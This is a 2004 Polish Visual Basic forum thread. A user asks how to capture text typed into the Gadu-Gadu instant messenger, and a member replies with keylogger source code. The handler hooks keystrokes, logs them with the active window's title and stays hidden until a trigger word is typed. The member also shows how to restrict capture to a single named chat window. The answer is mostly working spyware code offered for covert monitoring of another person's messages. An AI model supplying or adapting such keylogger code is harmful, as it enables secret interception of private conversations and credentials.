Strona: [  << <   1   > >>  ]  z  1     
Autor Temat: Przechwytywanie klawiatury
anonim




Typ: Nie zarejestrowany
Przechwytywanie klawiatury

Jak można w VB przechwycić dane wprowadzane z programu Gadu-Gadu?
Pozdrawiam wszystkich

13-09-2004 12:34
  
mikmas
From Łódź Stadt




Typ: neutral
Postów: 772
Zarejestrowany: Apr 2003

W Workshopie jest prog "Keylog". On przechwytuje dane z wszystkich okienek oto przykład:

[VB4all forum - Mozilla Firefox]
W Workshopie jest prog "Keylog". On przechwytuje dane z wszystkich okienek oto przykład:

Jeżeli chcesz tylko GG to zamień tą część:

Private Sub SysHook_KeyPress(ByVal KeyAscii As Long)
strKlawisz = Chr(KeyAscii)
If KeyAscii = 13 Or KeyAscii = 10 Then strKlawisz = vbCrLf
If KeyAscii = 27 Then strKlawisz = "[Esc]"
If KeyAscii = 8 Then strKlawisz = "[Backspace]"
If KeyAscii = 9 Then strKlawisz = "[Tab]"
Dim hwnd As Long
txtText.SelStart = Len(txtText)
hwnd = GetForegroundWindow
CurrentApp_hWnd = hwnd
CurrentApp_Title = GetCaption(hwnd)
If CurrentApp_Title <> Aplikacja Then
  Aplikacja = CurrentApp_Title
  txtText.Text = txtText.Text & vbCrLf & "[ " + Aplikacja + " ]" & vbCrLf + strKlawisz
Else
  txtText.Text = txtText.Text + strKlawisz
End If
Debug.Print UCase(Right(txtText.Text, 6))
If UCase(Right(txtText.Text, 6)) = "KEYLOG" Then
  Beep
  Me.Visible = True
  Me.SetFocus
End If
End Sub

... Na:

strKlawisz = Chr(KeyAscii)
If KeyAscii = 13 Or KeyAscii = 10 Then strKlawisz = vbCrLf
If KeyAscii = 27 Then strKlawisz = "[Esc]"
If KeyAscii = 8 Then strKlawisz = "[Backspace]"
If KeyAscii = 9 Then strKlawisz = "[Tab]"
Dim hwnd As Long
txtText.SelStart = Len(txtText)
hwnd = GetForegroundWindow
CurrentApp_hWnd = hwnd
If GetCaption(hwnd) <> "Masło (3632553)" Then Exit Sub 'Do zmiany! "[Nazwa użytkownika] ([numer])"
  txtText.Text = txtText.Text + strKlawisz
Debug.Print UCase(Right(txtText.Text, 6))
If UCase(Right(txtText.Text, 6)) = "KEYLOG" Then
  Beep
  Me.Visible = True
  Me.SetFocus
End If


[Post edytowany dnia 13-09-2004 14:35 przez mikmas]


_____________________________________________
4C;65;70;69;65;6A;20;62;79;9C;20;73;69;EA;20;
62;61;72;64;7A;69;65;6A;20;73;6B;6F;6E;63;65;
6E;74;72;6F;77;61;B3;20;6E;61;20;6F;64;70;6F;
77;69;65;64;7A;69;2C;20;61;20;6E;69;65;20;6E;
61;20;72;6F;7A;73;7A;79;66;72;6F;77;79;77;61;
6E;69;75;20;3A;50

13-09-2004 14:34
Pokaż profil mikmas  Wyślij email do mikmas   Odwiedź stronę mikmas       3632553
Wszystkich odpowiedzi: 1 :: Maxymalnie na stronę: 20
Strona: [  << <   1   > >>  ]  z  1